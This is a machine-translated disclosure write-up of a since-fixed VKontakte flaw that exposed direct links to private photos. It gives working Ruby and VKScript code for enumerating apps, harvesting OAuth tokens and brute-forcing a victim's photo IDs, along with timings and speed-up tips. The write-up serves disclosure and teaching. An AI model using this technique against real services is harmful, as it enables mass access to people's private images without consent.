📜 ⬆️ ⬇️

Vulnerability "VKontakte" allows you to get direct links to private photos



tl; dr
A vulnerability was discovered in the VK tabs, which allowed to get direct links to private photos from personal messages, albums of any user / group. A script was written that went through the user's photos for a certain period and then, through this vulnerability, received direct links to images. In short, then: it was possible to get all your yesterday's photos in 1 minute, in 7 minutes - all photos uploaded last week, in 20 minutes - last month, in 2 hours - last year. The vulnerability is currently fixed. The administration of VKontakte paid a reward of 10k votes.

The story began with the way in which I pushed an image in my VKontakte. Usually, if the thing is important, I upload it to the cloud, but in my case there was no need for this, and I decided to use the Vkontakte bookmarks feature.

Briefly about this functionality: all the things that the user likes have been added to the bookmarks; there is also a function of manually adding a link to the user and the internal link "VKontakte". The last point seemed to me very interesting, because after adding the link to the photo I saw its thumbnail and text with the type of the added entity:


')
When adding a link, the server parses it, tries to figure out which entity it refers to and obtains information about this object from the database. As a rule, when writing such functions with a variety of conditions, the likelihood that a developer will forget something is very high. Therefore, I could not afford to pass by and decided to spend a few minutes to experiment a little.

As a result, I managed to find something. When adding a link to a photo, note or video that is not available, it was possible to get some private information about the object. In the case of photos and videos, this is a small (150x150) thumbnail, on which it is quite difficult to see anything, the name was displayed for private notes. Through the API method fave.getLinks, you could get links to the image, but again too small in size (75px and 130px). So, in essence, nothing serious.

I decided to go to the mobile version of the site to check whether everything is displayed there the same way as in the normal version. Looking into the code page, I saw this:



Yes! The value of the data-src_big attribute kept a direct link to the original image!

Thus, it was possible to get a direct link to any image in Vkontakte, regardless of where it was loaded and what privacy settings it had. This could be an image from private messages or a photo from private albums of any user / group.

It would seem that one could stop at that and write to the developers, but I wondered if it was possible, by exploiting this vulnerability, to get access to all (well, or uploaded in a certain period of time) user photos. The main problem here, as you understand, was that the link to a private photo of the form photoXXXXXX_XXXXXXX , which should be bookmarked, is not always known. The thought of searching for id pictures came into my head, but for some reason I immediately rejected it as crazy. I checked the API-related methods in photos, looked at how the application works with albums, but I couldn’t find any leaks that could help me get a list with the IDs of all private photos of the user. I already wanted to quit this venture, but looking again at the link with a photo, I suddenly realized that brute force was a good idea.

How photos work in VK


As you could replace, the link to the photo photo52708106_359542386 consists of two parts: (user id) _ (some incomprehensible number) . How is the second part formed?

Alas, but after spending two hours on experiments, I did not understand. In 2012, at HighLoad ++, Oleg Illarionov said a few words about how they store photos, horizontal sharding and random selection of a server to load, but this information did not give me anything, since there is no connection between the server id and id. It is clear that there is a certain global counter, but there is still some kind of logic ... Because if the second number were formed using the usual autoincrement, then the ID values ​​of the photos would have already reached great values ​​(for example, at the moment 700 trillion), but Vkontakte has this value of only ~ 400 million (although, judging by the statistics, users upload more than 30 million photos daily ). Those. It is clear that this figure is not unique, but not random at the same time. I wrote a script that went through the photographs of the “old” users and, based on the data received, made a graph of how much this figure changed every year :



It can be seen that the values ​​jump depending on some factors (the number of servers or the new logic?). But the bottom line is that they are quite small (especially over the last 2-3 years) and it is very easy to calculate the range of id for the desired time period. That is, to find out direct links to pictures of the user, for example, last year, you need to try to add to bookmarks only 30 million (from _320000000 to _350000000) of different variations of links! Below, I described a brute force technique that allowed me to do this in a matter of minutes.

Looking through photos


You could add it all by hand through the interface or write a script that adds one link to the bookmarks, but it would be boring and long. In this case, the search speed would be 3 bookmarks per second, since more than three requests per second to the server "Vkontakte" can not be sent.

Accelerate brute force x25


To get around a limit of 3 requests at least a bit, I decided to use the execute method. In one call to this method, there are 25 calls to API methods.

var start = parseInt(Args.start); var end = parseInt(Args.end); var victimId = Args.id; var link = "http://vk.com/photo" + victimId + "_"; while(start != end) { API.fave.addLink({ "link": link + start }); start = start + 1; }; 

Thereby it was possible to increase the speed of brute force to 3 * 25 bookmarks / sec. Over the past year, the photos would have been taken a long time, but for short periods this brute force method was already quite good.

Accelerate brute force x25 * number of parallel requests per second


The limit on the number of requests / sec applies to each application separately, and not to the entire user. So nothing prevents you from sending many requests in parallel, but at the same time using tokens from different applications.

To begin with, it was necessary to find (or create) the necessary number of applications. A script was written that looks for standalone applications in a given interval of application identifiers:

 class StandaloneAppsFinder attr_reader :app_ids def initialize(params) @range = params[:in_range] @app_ids = [] end def search (@range).each do |app_id| response = open("https://api.vk.com/method/apps.get?app_id=#{app_id}").read app = JSON.parse(response)['response'] app_ids << app_id if standalone?(app) end end private def standalone?(app_data) app_data['type'] == 'standalone' end end 

It was still possible to select applications by the number of users in order to further speed up the further search:
If the application has installed less than 10,000 people, then you can make 5 requests per second, up to 100,000 - 8 requests, up to 1,000,000 - 20 requests, more than 1 million - 35 requests per second.
[Limitations and recommendations]

But I decided not to bother with it.

Ok, the applications are found, now they need to give permission to the data of our user and get tokens. For authorization, I had to use the Implicit Flow mechanism. I had to parse the authorization URL from the OAuth dialog and, after the redirect, pull out the token. This class requires cookies p, l (login.vk.com) and remixsid (vk.com):

 class Authenticator attr_reader :access_tokens def initialize(cookie_header) @cookies = { 'Cookie' => cookie_header } @access_tokens = [] end def authorize_apps(apps) apps.each do |app_id| auth_url = extract_auth_url_from(oauth_page(app_id)) redirect_url = open(auth_url, @cookies).base_uri.to_s access_tokens << extract_token_from(redirect_url) end end private def extract_auth_url_from(oauth_page_html) Nokogiri::HTML(oauth_page_html).css('form').attr('action').value end def extract_token_from(url) URI(url).fragment[13..97] end def oauth_page(app_id) open(oauth_page_url(app_id), @cookies).read end def oauth_page_url(app_id) "https://oauth.vk.com/authorize?" + "client_id=#{app_id}&" + "response_type=token&" + "display=mobile&" + "scope=474367" end end 

How many applications are found, so many parallel queries. For the parallelization of this whole case, it was decided to use the Typhoeus gem, which has proven itself in other tasks. It turned out such a small brute forcer:

 class PhotosBruteforcer PHOTOS_ID_BY_PERIOD = { 'today' => 366300000..366500000, 'yesterday' => 366050000..366300000, 'current_month' => 365000000..366500000, 'last_month' => 360000000..365000000, 'current_year' => 350000000..366500000, 'last_year' => 320000000..350000000 } def initialize(params) @victim_id = params[:victim_id] @period = PHOTOS_ID_BY_PERIOD[params[:period]] end def run(tokens) hydra = Typhoeus::Hydra.new tokensIterator = 0 (@period).step(25) do |photo_id| url = "https://api.vk.com/method/execute?access_token=#{tokens[tokensIterator]}&code=#{vkscript(photo_id)}" encoded_url = URI.escape(url).gsub('+', '%2B').delete("\n") tokensIterator = tokensIterator == tokens.count - 1 ? 0 : tokensIterator + 1 hydra.queue Typhoeus::Request.new encoded_url hydra.run if tokensIterator.zero? end hydra.run unless hydra.queued_requests.count.zero? end private def vkscript(photo_id) <<-VKScript var start = #{photo_id}; var end = #{photo_id + 25}; var link = "http://vk.com/photo#{@victim_id}" + "_"; while(start != end) { API.fave.addLink({ "link": link + start }); start = start + 1; }; return start; VKScript end end 

To further speed up the brute force, there was an attempt to get rid of the unnecessary body in the response, but on the HEAD request, the server “Vkontakte” returns the error 501 Not implemented .

The final version of the script looks like this:

 require 'nokogiri' require 'open-uri' require 'typhoeus' require 'json' require './standalone_apps_finder' require './photos_bruteforcer' require './authenticator' bruteforcer = PhotosBruteforcer.new(victim_id: ARGV[0], period: ARGV[1]) apps_finder = StandaloneAppsFinder.new(in_range: 4800000..4800500) apps_finder.search # p,l - cookies from login.vk.com # remixsid - cookie from vk.com authenticator = Authenticator.new( 'p=;' + 'l=;' + 'remixsid=;' ) authenticator.authorize_apps(apps_finder.app_ids) bruteforcer.run(authenticator.access_tokens) 

After working out the program in the bookmarks were all photos of the user for a specified period. It only remained to go to the mobile version of “Vkontakte”, open the browser console, pull out direct links and enjoy the photos in their original size.



Results


In general, everything depends on your Internet connection and the speed of the proxy servers , the latency of Vkontakte servers, processor power and many other factors. After testing the script above on your account, I got these numbers here (without taking into account the time spent on getting tokens):

PeriodTime (minutes)
Yesterday0.84
Last week6.9
Last month18.3
Last year121.1
Last 3 years312.5

The table shows the average time required to try id photos for a certain period. I am sure that all this could be speeded up at 10-20 times. For example, in a brute force script, make one large queue of all requests and normal synchronization between them, since In my implementation, a single request with a timeout will slow down the whole process. Anyway, you could just buy a couple of instances on EC2, and get all the photos of any user in an hour. But I already wanted to sleep.

And in general, it does not matter how long the attacker spends on it, 5 hours or the whole day, because somehow he will get links to private images. The ability to get access to private information in a finite time is the main threat posed by this vulnerability.

Reporting a vulnerability


At first, the report was sent to the support service, but after the answer of the form “thank you, somehow we'll fix it probably ...” and a week of waiting, something became sad for me. Many thanks to Bo0oM , who helped to contact the developers directly. After that, the bugs were closed within a few hours, and after a few days, the administration transferred a reward of 10k votes to my account.



I never did a focused research on VC, but after such an almost accidental discovery of this vulnerability, I started seriously thinking about spending a few hours on a full-fledged audit of this social network. VKontakte has no official bounty bug, so whitehat resellers bypass this site, while other, less “white” hackers simply use bugs for their own purposes, or sell them. So, I think, another couple of similar vulnerabilities in VC can be found.

All good!

Source: https://habr.com/ru/post/257951/


All Articles